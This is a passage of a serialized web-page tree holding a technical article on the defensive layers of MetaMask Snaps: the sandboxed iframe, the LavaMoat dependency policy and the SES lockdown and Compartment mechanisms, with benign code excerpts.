Window",{"type":21,"tag":153,"props":39113,"children":39114},{"style":160},[39115],{"type":26,"value":1759},{"type":21,"tag":153,"props":39117,"children":39118},{"class":155,"line":225},[39119,39124,39128,39133],{"type":21,"tag":153,"props":39120,"children":39121},{"style":192},[39122],{"type":26,"value":39123},"    stream",{"type":21,"tag":153,"props":39125,"children":39126},{"style":198},[39127],{"type":26,"value":201},{"type":21,"tag":153,"props":39129,"children":39130},{"style":214},[39131],{"type":26,"value":39132}," BasePostMessageStream",{"type":21,"tag":153,"props":39134,"children":39135},{"style":160},[39136],{"type":26,"value":1759},{"type":21,"tag":153,"props":39138,"children":39139},{"class":155,"line":239},[39140],{"type":21,"tag":153,"props":39141,"children":39142},{"style":160},[39143],{"type":26,"value":39144},"  }> {\n",{"type":21,"tag":153,"props":39146,"children":39147},{"class":155,"line":382},[39148,39153,39158,39162,39166,39171,39175,39179,39183,39188,39192,39197,39201,39205],{"type":21,"tag":153,"props":39149,"children":39150},{"style":160},[39151],{"type":26,"value":39152},"    const ",{"type":21,"tag":153,"props":39154,"children":39155},{"style":192},[39156],{"type":26,"value":39157},"iframeWindow",{"type":21,"tag":153,"props":39159,"children":39160},{"style":198},[39161],{"type":26,"value":255},{"type":21,"tag":153,"props":39163,"children":39164},{"style":1751},[39165],{"type":26,"value":38904},{"type":21,"tag":153,"props":39167,"children":39168},{"style":181},[39169],{"type":26,"value":39170}," createWindow",{"type":21,"tag":153,"props":39172,"children":39173},{"style":160},[39174],{"type":26,"value":189},{"type":21,"tag":153,"props":39176,"children":39177},{"style":170},[39178],{"type":26,"value":20389},{"type":21,"tag":153,"props":39180,"children":39181},{"style":160},[39182],{"type":26,"value":355},{"type":21,"tag":153,"props":39184,"children":39185},{"style":192},[39186],{"type":26,"value":39187},"iframeUrl",{"type":21,"tag":153,"props":39189,"children":39190},{"style":160},[39191],{"type":26,"value":355},{"type":21,"tag":153,"props":39193,"children":39194},{"style":181},[39195],{"type":26,"value":39196},"toString",{"type":21,"tag":153,"props":39198,"children":39199},{"style":160},[39200],{"type":26,"value":21072},{"type":21,"tag":153,"props":39202,"children":39203},{"style":192},[39204],{"type":26,"value":38890},{"type":21,"tag":153,"props":39206,"children":39207},{"style":160},[39208],{"type":26,"value":530},{"type":21,"tag":153,"props":39210,"children":39211},{"class":155,"line":501},[39212],{"type":21,"tag":153,"props":39213,"children":39214},{"emptyLinePlaceholder":16},[39215],{"type":26,"value":759},{"type":21,"tag":153,"props":39217,"children":39218},{"class":155,"line":533},[39219,39223,39227,39231,39235,39240],{"type":21,"tag":153,"props":39220,"children":39221},{"style":160},[39222],{"type":26,"value":39152},{"type":21,"tag":153,"props":39224,"children":39225},{"style":192},[39226],{"type":26,"value":38954},{"type":21,"tag":153,"props":39228,"children":39229},{"style":198},[39230],{"type":26,"value":255},{"type":21,"tag":153,"props":39232,"children":39233},{"style":170},[39234],{"type":26,"value":34627},{"type":21,"tag":153,"props":39236,"children":39237},{"style":181},[39238],{"type":26,"value":39239}," WindowPostMessageStream",{"type":21,"tag":153,"props":39241,"children":39242},{"style":160},[39243],{"type":26,"value":17840},{"type":21,"tag":153,"props":39245,"children":39246},{"class":155,"line":542},[39247,39252,39257],{"type":21,"tag":153,"props":39248,"children":39249},{"style":192},[39250],{"type":26,"value":39251},"      name:",{"type":21,"tag":153,"props":39253,"children":39254},{"style":671},[39255],{"type":26,"value":39256}," 'parent'",{"type":21,"tag":153,"props":39258,"children":39259},{"style":160},[39260],{"type":26,"value":792},{"type":21,"tag":153,"props":39262,"children":39263},{"class":155,"line":762},[39264,39269,39274],{"type":21,"tag":153,"props":39265,"children":39266},{"style":192},[39267],{"type":26,"value":39268},"      target:",{"type":21,"tag":153,"props":39270,"children":39271},{"style":671},[39272],{"type":26,"value":39273}," 'child'",{"type":21,"tag":153,"props":39275,"children":39276},{"style":160},[39277],{"type":26,"value":792},{"type":21,"tag":153,"props":39279,"children":39280},{"class":155,"line":776},[39281,39286,39291],{"type":21,"tag":153,"props":39282,"children":39283},{"style":192},[39284],{"type":26,"value":39285},"      targetWindow:",{"type":21,"tag":153,"props":39287,"children":39288},{"style":192},[39289],{"type":26,"value":39290}," iframeWindow",{"type":21,"tag":153,"props":39292,"children":39293},{"style":160},[39294],{"type":26,"value":792},{"type":21,"tag":153,"props":39296,"children":39297},{"class":155,"line":795},[39298,39303,39308],{"type":21,"tag":153,"props":39299,"children":39300},{"style":192},[39301],{"type":26,"value":39302},"      targetOrigin:",{"type":21,"tag":153,"props":39304,"children":39305},{"style":671},[39306],{"type":26,"value":39307}," '*'",{"type":21,"tag":153,"props":39309,"children":39310},{"style":160},[39311],{"type":26,"value":792},{"type":21,"tag":153,"props":39313,"children":39314},{"class":155,"line":808},[39315],{"type":21,"tag":153,"props":39316,"children":39317},{"style":160},[39318],{"type":26,"value":34950},{"type":21,"tag":153,"props":39320,"children":39321},{"class":155,"line":820},[39322],{"type":21,"tag":153,"props":39323,"children":39324},{"emptyLinePlaceholder":16},[39325],{"type":26,"value":759},{"type":21,"tag":153,"props":39327,"children":39328},{"class":155,"line":842},[39329,39334,39338,39342,39346],{"type":21,"tag":153,"props":39330,"children":39331},{"style":160},[39332],{"type":26,"value":39333},"    return { worker: ",{"type":21,"tag":153,"props":39335,"children":39336},{"style":192},[39337],{"type":26,"value":39157},{"type":21,"tag":153,"props":39339,"children":39340},{"style":160},[39341],{"type":26,"value":1670},{"type":21,"tag":153,"props":39343,"children":39344},{"style":192},[39345],{"type":26,"value":38954},{"type":21,"tag":153,"props":39347,"children":39348},{"style":160},[39349],{"type":26,"value":20996},{"type":21,"tag":153,"props":39351,"children":39352},{"class":155,"line":3204},[39353],{"type":21,"tag":153,"props":39354,"children":39355},{"style":160},[39356],{"type":26,"value":8601},{"type":21,"tag":22,"props":39358,"children":39359},{},[39360,39362,39368,39370,39377],{"type":26,"value":39361},"Here the iframe is created via ",{"type":21,"tag":78,"props":39363,"children":39365},{"className":39364},[],[39366],{"type":26,"value":39367},"createWindow",{"type":26,"value":39369},", which is defined in snaps-utils ",{"type":21,"tag":29,"props":39371,"children":39374},{"href":39372,"rel":39373},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[33],[39375],{"type":26,"value":39376},"package",{"type":26,"value":201},{"type":21,"tag":143,"props":39379,"children":39381},{"className":38623,"code":39380,"language":38625,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[39382],{"type":21,"tag":78,"props":39383,"children":39384},{"__ignoreMap":7},[39385,39428,39466,39503,39510,39530,39568,39575,39612],{"type":21,"tag":153,"props":39386,"children":39387},{"class":155,"line":156},[39388,39392,39397,39401,39406,39410,39415,39419,39424],{"type":21,"tag":153,"props":39389,"children":39390},{"style":170},[39391],{"type":26,"value":5085},{"type":21,"tag":153,"props":39393,"children":39394},{"style":192},[39395],{"type":26,"value":39396}," iframe",{"type":21,"tag":153,"props":39398,"children":39399},{"style":198},[39400],{"type":26,"value":255},{"type":21,"tag":153,"props":39402,"children":39403},{"style":192},[39404],{"type":26,"value":39405}," document",{"type":21,"tag":153,"props":39407,"children":39408},{"style":160},[39409],{"type":26,"value":355},{"type":21,"tag":153,"props":39411,"children":39412},{"style":181},[39413],{"type":26,"value":39414},"createElement",{"type":21,"tag":153,"props":39416,"children":39417},{"style":160},[39418],{"type":26,"value":189},{"type":21,"tag":153,"props":39420,"children":39421},{"style":671},[39422],{"type":26,"value":39423},"'iframe'",{"type":21,"tag":153,"props":39425,"children":39426},{"style":160},[39427],{"type":26,"value":530},{"type":21,"tag":153,"props":39429,"children":39430},{"class":155,"line":166},[39431,39436,39440,39445,39449,39454,39458,39462],{"type":21,"tag":153,"props":39432,"children":39433},{"style":192},[39434],{"type":26,"value":39435},"    iframe",{"type":21,"tag":153,"props":39437,"children":39438},{"style":160},[39439],{"type":26,"value":355},{"type":21,"tag":153,"props":39441,"children":39442},{"style":181},[39443],{"type":26,"value":39444},"setAttribute",{"type":21,"tag":153,"props":39446,"children":39447},{"style":160},[39448],{"type":26,"value":189},{"type":21,"tag":153,"props":39450,"children":39451},{"style":671},[39452],{"type":26,"value":39453},"'id'",{"type":21,"tag":153,"props":39455,"children":39456},{"style":160},[39457],{"type":26,"value":1670},{"type":21,"tag":153,"props":39459,"children":39460},{"style":192},[39461],{"type":26,"value":6227},{"type":21,"tag":153,"props":39463,"children":39464},{"style":160},[39465],{"type":26,"value":530},{"type":21,"tag":153,"props":39467,"children":39468},{"class":155,"line":225},[39469,39473,39477,39481,39485,39490,39494,39499],{"type":21,"tag":153,"props":39470,"children":39471},{"style":192},[39472],{"type":26,"value":39435},{"type":21,"tag":153,"props":39474,"children":39475},{"style":160},[39476],{"type":26,"value":355},{"type":21,"tag":153,"props":39478,"children":39479},{"style":181},[39480],{"type":26,"value":39444},{"type":21,"tag":153,"props":39482,"children":39483},{"style":160},[39484],{"type":26,"value":189},{"type":21,"tag":153,"props":39486,"children":39487},{"style":671},[39488],{"type":26,"value":39489},"'data-testid'",{"type":21,"tag":153,"props":39491,"children":39492},{"style":160},[39493],{"type":26,"value":1670},{"type":21,"tag":153,"props":39495,"children":39496},{"style":671},[39497],{"type":26,"value":39498},"'snaps-iframe'",{"type":21,"tag":153,"props":39500,"children":39501},{"style":160},[39502],{"type":26,"value":530},{"type":21,"tag":153,"props":39504,"children":39505},{"class":155,"line":239},[39506],{"type":21,"tag":153,"props":39507,"children":39508},{"emptyLinePlaceholder":16},[39509],{"type":26,"value":759},{"type":21,"tag":153,"props":39511,"children":39512},{"class":155,"line":382},[39513,39517,39521,39526],{"type":21,"tag":153,"props":39514,"children":39515},{"style":1751},[39516],{"type":26,"value":2434},{"type":21,"tag":153,"props":39518,"children":39519},{"style":160},[39520],{"type":26,"value":5820},{"type":21,"tag":153,"props":39522,"children":39523},{"style":192},[39524],{"type":26,"value":39525},"sandbox",{"type":21,"tag":153,"props":39527,"children":39528},{"style":160},[39529],{"type":26,"value":2659},{"type":21,"tag":153,"props":39531,"children":39532},{"class":155,"line":501},[39533,39538,39542,39546,39550,39555,39559,39564],{"type":21,"tag":153,"props":39534,"children":39535},{"style":192},[39536],{"type":26,"value":39537},"      iframe",{"type":21,"tag":153,"props":39539,"children":39540},{"style":160},[39541],{"type":26,"value":355},{"type":21,"tag":153,"props":39543,"children":39544},{"style":181},[39545],{"type":26,"value":39444},{"type":21,"tag":153,"props":39547,"children":39548},{"style":160},[39549],{"type":26,"value":189},{"type":21,"tag":153,"props":39551,"children":39552},{"style":671},[39553],{"type":26,"value":39554},"'sandbox'",{"type":21,"tag":153,"props":39556,"children":39557},{"style":160},[39558],{"type":26,"value":1670},{"type":21,"tag":153,"props":39560,"children":39561},{"style":671},[39562],{"type":26,"value":39563},"'allow-scripts'",{"type":21,"tag":153,"props":39565,"children":39566},{"style":160},[39567],{"type":26,"value":530},{"type":21,"tag":153,"props":39569,"children":39570},{"class":155,"line":533},[39571],{"type":21,"tag":153,"props":39572,"children":39573},{"style":160},[39574],{"type":26,"value":539},{"type":21,"tag":153,"props":39576,"children":39577},{"class":155,"line":542},[39578,39582,39586,39590,39594,39599,39603,39608],{"type":21,"tag":153,"props":39579,"children":39580},{"style":192},[39581],{"type":26,"value":39435},{"type":21,"tag":153,"props":39583,"children":39584},{"style":160},[39585],{"type":26,"value":355},{"type":21,"tag":153,"props":39587,"children":39588},{"style":181},[39589],{"type":26,"value":39444},{"type":21,"tag":153,"props":39591,"children":39592},{"style":160},[39593],{"type":26,"value":189},{"type":21,"tag":153,"props":39595,"children":39596},{"style":671},[39597],{"type":26,"value":39598},"'src'",{"type":21,"tag":153,"props":39600,"children":39601},{"style":160},[39602],{"type":26,"value":1670},{"type":21,"tag":153,"props":39604,"children":39605},{"style":192},[39606],{"type":26,"value":39607},"uri",{"type":21,"tag":153,"props":39609,"children":39610},{"style":160},[39611],{"type":26,"value":530},{"type":21,"tag":153,"props":39613,"children":39614},{"class":155,"line":762},[39615,39619,39623,39627,39631,39636,39640,39645],{"type":21,"tag":153,"props":39616,"children":39617},{"style":192},[39618],{"type":26,"value":37367},{"type":21,"tag":153,"props":39620,"children":39621},{"style":160},[39622],{"type":26,"value":355},{"type":21,"tag":153,"props":39624,"children":39625},{"style":192},[39626],{"type":26,"value":35093},{"type":21,"tag":153,"props":39628,"children":39629},{"style":160},[39630],{"type":26,"value":355},{"type":21,"tag":153,"props":39632,"children":39633},{"style":181},[39634],{"type":26,"value":39635},"appendChild",{"type":21,"tag":153,"props":39637,"children":39638},{"style":160},[39639],{"type":26,"value":189},{"type":21,"tag":153,"props":39641,"children":39642},{"style":192},[39643],{"type":26,"value":39644},"iframe",{"type":21,"tag":153,"props":39646,"children":39647},{"style":160},[39648],{"type":26,"value":530},{"type":21,"tag":22,"props":39650,"children":39651},{},[39652],{"type":26,"value":39653},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":21,"tag":114,"props":39655,"children":39657},{"id":39656},"lavamoat-against-supply-chain-attacks-layer-2",[39658],{"type":26,"value":39659},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":21,"tag":22,"props":39661,"children":39662},{},[39663],{"type":26,"value":39664},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":21,"tag":22,"props":39666,"children":39667},{},[39668,39670,39676],{"type":26,"value":39669},"Malicious dependencies might utilize built-in modules like ",{"type":21,"tag":78,"props":39671,"children":39673},{"className":39672},[],[39674],{"type":26,"value":39675},"fs",{"type":26,"value":39677},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":21,"tag":22,"props":39679,"children":39680},{},[39681],{"type":26,"value":39682},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":21,"tag":22,"props":39684,"children":39685},{},[39686,39688,39695],{"type":26,"value":39687},"This is how a Policy file related to the iframes ",{"type":21,"tag":29,"props":39689,"children":39692},{"href":39690,"rel":39691},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[33],[39693],{"type":26,"value":39694},"looks",{"type":26,"value":201},{"type":21,"tag":143,"props":39697,"children":39699},{"className":36689,"code":39698,"language":36691,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[39700],{"type":21,"tag":78,"props":39701,"children":39702},{"__ignoreMap":7},[39703,39716,39728,39748,39768,39788,39808,39828,39848,39868,39885,39893,39905,39925,39941,39948],{"type":21,"tag":153,"props":39704,"children":39705},{"class":155,"line":156},[39706,39711],{"type":21,"tag":153,"props":39707,"children":39708},{"style":671},[39709],{"type":26,"value":39710},"\"@metamask/post-message-stream\"",{"type":21,"tag":153,"props":39712,"children":39713},{"style":160},[39714],{"type":26,"value":39715},": {\n",{"type":21,"tag":153,"props":39717,"children":39718},{"class":155,"line":166},[39719,39724],{"type":21,"tag":153,"props":39720,"children":39721},{"style":192},[39722],{"type":26,"value":39723},"      \"globals\"",{"type":21,"tag":153,"props":39725,"children":39726},{"style":160},[39727],{"type":26,"value":39715},{"type":21,"tag":153,"props":39729,"children":39730},{"class":155,"line":225},[39731,39736,39740,39744],{"type":21,"tag":153,"props":39732,"children":39733},{"style":192},[39734],{"type":26,"value":39735},"        \"MessageEvent.prototype\"",{"type":21,"tag":153,"props":39737,"children":39738},{"style":160},[39739],{"type":26,"value":18031},{"type":21,"tag":153,"props":39741,"children":39742},{"style":170},[39743],{"type":26,"value":3294},{"type":21,"tag":153,"props":39745,"children":39746},{"style":160},[39747],{"type":26,"value":792},{"type":21,"tag":153,"props":39749,"children":39750},{"class":155,"line":239},[39751,39756,39760,39764],{"type":21,"tag":153,"props":39752,"children":39753},{"style":192},[39754],{"type":26,"value":39755},"        \"WorkerGlobalScope\"",{"type":21,"tag":153,"props":39757,"children":39758},{"style":160},[39759],{"type":26,"value":18031},{"type":21,"tag":153,"props":39761,"children":39762},{"style":170},[39763],{"type":26,"value":3294},{"type":21,"tag":153,"props":39765,"children":39766},{"style":160},[39767],{"type":26,"value":792},{"type":21,"tag":153,"props":39769,"children":39770},{"class":155,"line":382},[39771,39776,39780,39784],{"type":21,"tag":153,"props":39772,"children":39773},{"style":192},[39774],{"type":26,"value":39775},"        \"addEventListener\"",{"type":21,"tag":153,"props":39777,"children":39778},{"style":160},[39779],{"type":26,"value":18031},{"type":21,"tag":153,"props":39781,"children":39782},{"style":170},[39783],{"type":26,"value":3294},{"type":21,"tag":153,"props":39785,"children":39786},{"style":160},[39787],{"type":26,"value":792},{"type":21,"tag":153,"props":39789,"children":39790},{"class":155,"line":501},[39791,39796,39800,39804],{"type":21,"tag":153,"props":39792,"children":39793},{"style":192},[39794],{"type":26,"value":39795},"        \"browser\"",{"type":21,"tag":153,"props":39797,"children":39798},{"style":160},[39799],{"type":26,"value":18031},{"type":21,"tag":153,"props":39801,"children":39802},{"style":170},[39803],{"type":26,"value":3294},{"type":21,"tag":153,"props":39805,"children":39806},{"style":160},[39807],{"type":26,"value":792},{"type":21,"tag":153,"props":39809,"children":39810},{"class":155,"line":533},[39811,39816,39820,39824],{"type":21,"tag":153,"props":39812,"children":39813},{"style":192},[39814],{"type":26,"value":39815},"        \"chrome\"",{"type":21,"tag":153,"props":39817,"children":39818},{"style":160},[39819],{"type":26,"value":18031},{"type":21,"tag":153,"props":39821,"children":39822},{"style":170},[39823],{"type":26,"value":3294},{"type":21,"tag":153,"props":39825,"children":39826},{"style":160},[39827],{"type":26,"value":792},{"type":21,"tag":153,"props":39829,"children":39830},{"class":155,"line":542},[39831,39836,39840,39844],{"type":21,"tag":153,"props":39832,"children":39833},{"style":192},[39834],{"type":26,"value":39835},"        \"location.origin\"",{"type":21,"tag":153,"props":39837,"children":39838},{"style":160},[39839],{"type":26,"value":18031},{"type":21,"tag":153,"props":39841,"children":39842},{"style":170},[39843],{"type":26,"value":3294},{"type":21,"tag":153,"props":39845,"children":39846},{"style":160},[39847],{"type":26,"value":792},{"type":21,"tag":153,"props":39849,"children":39850},{"class":155,"line":762},[39851,39856,39860,39864],{"type":21,"tag":153,"props":39852,"children":39853},{"style":192},[39854],{"type":26,"value":39855},"        \"postMessage\"",{"type":21,"tag":153,"props":39857,"children":39858},{"style":160},[39859],{"type":26,"value":18031},{"type":21,"tag":153,"props":39861,"children":39862},{"style":170},[39863],{"type":26,"value":3294},{"type":21,"tag":153,"props":39865,"children":39866},{"style":160},[39867],{"type":26,"value":792},{"type":21,"tag":153,"props":39869,"children":39870},{"class":155,"line":776},[39871,39876,39880],{"type":21,"tag":153,"props":39872,"children":39873},{"style":192},[39874],{"type":26,"value":39875},"        \"removeEventListener\"",{"type":21,"tag":153,"props":39877,"children":39878},{"style":160},[39879],{"type":26,"value":18031},{"type":21,"tag":153,"props":39881,"children":39882},{"style":170},[39883],{"type":26,"value":39884},"true\n",{"type":21,"tag":153,"props":39886,"children":39887},{"class":155,"line":795},[39888],{"type":21,"tag":153,"props":39889,"children":39890},{"style":160},[39891],{"type":26,"value":39892},"      },\n",{"type":21,"tag":153,"props":39894,"children":39895},{"class":155,"line":808},[39896,39901],{"type":21,"tag":153,"props":39897,"children":39898},{"style":192},[39899],{"type":26,"value":39900},"      \"packages\"",{"type":21,"tag":153,"props":39902,"children":39903},{"style":160},[39904],{"type":26,"value":39715},{"type":21,"tag":153,"props":39906,"children":39907},{"class":155,"line":820},[39908,39913,39917,39921],{"type":21,"tag":153,"props":39909,"children":39910},{"style":192},[39911],{"type":26,"value":39912},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":21,"tag":153,"props":39914,"children":39915},{"style":160},[39916],{"type":26,"value":18031},{"type":21,"tag":153,"props":39918,"children":39919},{"style":170},[39920],{"type":26,"value":3294},{"type":21,"tag":153,"props":39922,"children":39923},{"style":160},[39924],{"type":26,"value":792},{"type":21,"tag":153,"props":39926,"children":39927},{"class":155,"line":842},[39928,39933,39937],{"type":21,"tag":153,"props":39929,"children":39930},{"style":192},[39931],{"type":26,"value":39932},"        \"@metamask/post-message-stream>readable-stream\"",{"type":21,"tag":153,"props":39934,"children":39935},{"style":160},[39936],{"type":26,"value":18031},{"type":21,"tag":153,"props":39938,"children":39939},{"style":170},[39940],{"type":26,"value":39884},{"type":21,"tag":153,"props":39942,"children":39943},{"class":155,"line":3204},[39944],{"type":21,"tag":153,"props":39945,"children":39946},{"style":160},[39947],{"type":26,"value":15381},{"type":21,"tag":153,"props":39949,"children":39950},{"class":155,"line":3230},[39951],{"type":21,"tag":153,"props":39952,"children":39953},{"style":160},[39954],{"type":26,"value":539},{"type":21,"tag":22,"props":39956,"children":39957},{},[39958,39960,39966,39968,39974,39976,39982,39984,39990,39991,39997],{"type":26,"value":39959},"One crucial aspect of the policy, apart from the ",{"type":21,"tag":78,"props":39961,"children":39963},{"className":39962},[],[39964],{"type":26,"value":39965},"globals",{"type":26,"value":39967}," section, is the ",{"type":21,"tag":78,"props":39969,"children":39971},{"className":39970},[],[39972],{"type":26,"value":39973},"packages",{"type":26,"value":39975}," segment. This section permits the ",{"type":21,"tag":78,"props":39977,"children":39979},{"className":39978},[],[39980],{"type":26,"value":39981},"@metamask/post-message-stream",{"type":26,"value":39983},"package to exclusively interact with the package ",{"type":21,"tag":78,"props":39985,"children":39987},{"className":39986},[],[39988],{"type":26,"value":39989},"@metamask/utils",{"type":26,"value":52},{"type":21,"tag":78,"props":39992,"children":39994},{"className":39993},[],[39995],{"type":26,"value":39996},"readable-stream",{"type":26,"value":39998},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":21,"tag":22,"props":40000,"children":40001},{},[40002,40004,40010],{"type":26,"value":40003},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":21,"tag":78,"props":40005,"children":40007},{"className":40006},[],[40008],{"type":26,"value":40009},"lockdown",{"type":26,"value":40011}," function to freeze all javascript builtins prototypes.",{"type":21,"tag":114,"props":40013,"children":40015},{"id":40014},"secure-ecmascript-ses-sandbox-layer-3",[40016],{"type":26,"value":40017},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":21,"tag":22,"props":40019,"children":40020},{},[40021,40023,40030],{"type":26,"value":40022},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":21,"tag":29,"props":40024,"children":40027},{"href":40025,"rel":40026},"https://github.com/endojs/endo/tree/master/packages/ses",[33],[40028],{"type":26,"value":40029},"Secure EcmaScript (SES)",{"type":26,"value":40031}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":21,"tag":21591,"props":40033,"children":40035},{"id":40034},"ses-fundamentals",[40036],{"type":26,"value":40037},"SES Fundamentals",{"type":21,"tag":40039,"props":40040,"children":40041},"h5",{"id":40009},[40042],{"type":26,"value":40043},"Lockdown",{"type":21,"tag":22,"props":40045,"children":40046},{},[40047,40049,40055],{"type":26,"value":40048},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":21,"tag":78,"props":40050,"children":40052},{"className":40051},[],[40053],{"type":26,"value":40054},"lockdown()",{"type":26,"value":40056}," function, which protects javascript objects against some attacks, mainly:",{"type":21,"tag":126,"props":40058,"children":40059},{},[40060,40073],{"type":21,"tag":91,"props":40061,"children":40062},{},[40063,40065,40071],{"type":26,"value":40064},"Prototype Pollution\nLockdown executes ",{"type":21,"tag":78,"props":40066,"children":40068},{"className":40067},[],[40069],{"type":26,"value":40070},"Object.freeze",{"type":26,"value":40072}," against all javascript builtins prototypes, preventing these attacks.",{"type":21,"tag":91,"props":40074,"children":40075},{},[40076,40078,40084,40086,40092],{"type":26,"value":40077},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":21,"tag":78,"props":40079,"children":40081},{"className":40080},[],[40082],{"type":26,"value":40083},"trace",{"type":26,"value":40085}," attribute in an ",{"type":21,"tag":78,"props":40087,"children":40089},{"className":40088},[],[40090],{"type":26,"value":40091},"Error",{"type":26,"value":40093}," object, which contains the stack trace of the error.",{"type":21,"tag":40039,"props":40095,"children":40097},{"id":40096},"compartment",[40098],{"type":26,"value":40099},"Compartment",{"type":21,"tag":22,"props":40101,"children":40102},{},[40103,40105,40111,40113,40118],{"type":26,"value":40104},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":21,"tag":78,"props":40106,"children":40108},{"className":40107},[],[40109],{"type":26,"value":40110},"globalThis",{"type":26,"value":40112}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":21,"tag":78,"props":40114,"children":40116},{"className":40115},[],[40117],{"type":26,"value":40110},{"type":26,"value":40119}," context is incapable of tampering with security.",{"type":21,"tag":143,"props":40121,"children":40123},{"className":38307,"code":40122,"language":38309,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[40124],{"type":21,"tag":78,"props":40125,"children":40126},{"__ignoreMap":7},[40127,40156,40189],{"type":21,"tag":153,"props":40128,"children":40129},{"class":155,"line":156},[40130,40134,40139,40143,40147,40152],{"type":21,"tag":153,"props":40131,"children":40132},{"style":170},[40133],{"type":26,"value":5085},{"type":21,"tag":153,"props":40135,"children":40136},{"style":192},[40137],{"type":26,"value":40138}," c",{"type":21,"tag":153,"props":40140,"children":40141},{"style":198},[40142],{"type":26,"value":255},{"type":21,"tag":153,"props":40144,"children":40145},{"style":170},[40146],{"type":26,"value":34627},{"type":21,"tag":153,"props":40148,"children":40149},{"style":181},[40150],{"type":26,"value":40151}," Compartment",{"type":21,"tag":153,"props":40153,"children":40154},{"style":160},[40155],{"type":26,"value":839},{"type":21,"tag":153,"props":40157,"children":40158},{"class":155,"line":166},[40159,40163,40167,40171,40175,40180,40184],{"type":21,"tag":153,"props":40160,"children":40161},{"style":192},[40162],{"type":26,"value":5896},{"type":21,"tag":153,"props":40164,"children":40165},{"style":160},[40166],{"type":26,"value":355},{"type":21,"tag":153,"props":40168,"children":40169},{"style":192},[40170],{"type":26,"value":40110},{"type":21,"tag":153,"props":40172,"children":40173},{"style":198},[40174],{"type":26,"value":34117},{"type":21,"tag":153,"props":40176,"children":40177},{"style":192},[40178],{"type":26,"value":40179}," globalThis",{"type":21,"tag":153,"props":40181,"children":40182},{"style":160},[40183],{"type":26,"value":297},{"type":21,"tag":153,"props":40185,"children":40186},{"style":3050},[40187],{"type":26,"value":40188},"// false\n",{"type":21,"tag":153,"props":40190,"children":40191},{"class":155,"line":225},[40192,40196,40200,40204,40208,40213,40217,40222,40226],{"type":21,"tag":153,"props":40193,"children":40194},{"style":192},[40195],{"type":26,"value":5896},{"type":21,"tag":153,"props":40197,"children":40198},{"style":160},[40199],{"type":26,"value":355},{"type":21,"tag":153,"props":40201,"children":40202},{"style":192},[40203],{"type":26,"value":40110},{"type":21,"tag":153,"props":40205,"children":40206},{"style":160},[40207],{"type":26,"value":355},{"type":21,"tag":153,"props":40209,"children":40210},{"style":192},[40211],{"type":26,"value":40212},"JSON",{"type":21,"tag":153,"props":40214,"children":40215},{"style":198},[40216],{"type":26,"value":34117},{"type":21,"tag":153,"props":40218,"children":40219},{"style":192},[40220],{"type":26,"value":40221}," JSON",{"type":21,"tag":153,"props":40223,"children":40224},{"style":160},[40225],{"type":26,"value":297},{"type":21,"tag":153,"props":40227,"children":40228},{"style":3050},[40229],{"type":26,"value":40230},"// true\n",{"type":21,"tag":22,"props":40232,"children":40233},{},[40234,40236,40242,40244,40250,40252,40257],{"type":26,"value":40235},"Compartment also changes the behaviour of evaluators functions such as ",{"type":21,"tag":78,"props":40237,"children":40239},{"className":40238},[],[40240],{"type":26,"value":40241},"eval",{"type":26,"value":40243}," and the ",{"type":21,"tag":78,"props":40245,"children":40247},{"className":40246},[],[40248],{"type":26,"value":40249},"Function",{"type":26,"value":40251}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":21,"tag":78,"props":40253,"children":40255},{"className":40254},[],[40256],{"type":26,"value":40110},{"type":26,"value":355},{"type":21,"tag":40039,"props":40259,"children":40261},{"id":40260},"endowments",[40262],{"type":26,"value":40263},"Endowments",{"type":21,"tag":22,"props":40265,"children":40266},{},[40267,40269,40273,40275,40280],{"type":26,"value":40268},"While creating a Compartment, it is possible to specify ",{"type":21,"tag":5302,"props":40270,"children":40271},{},[40272],{"type":26,"value":40260},{"type":26,"value":40274},". These endowments constitute objects that become accessible within the Compartment's ",{"type":21,"tag":78,"props":40276,"children":40278},{"className":40277},[],[40279],{"type":26,"value":40110},{"type":26,"value":40281},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":21,"tag":22,"props":40283,"children":40284},{},[40285,40287,40293],{"type":26,"value":40286},"In addition, SES provides the 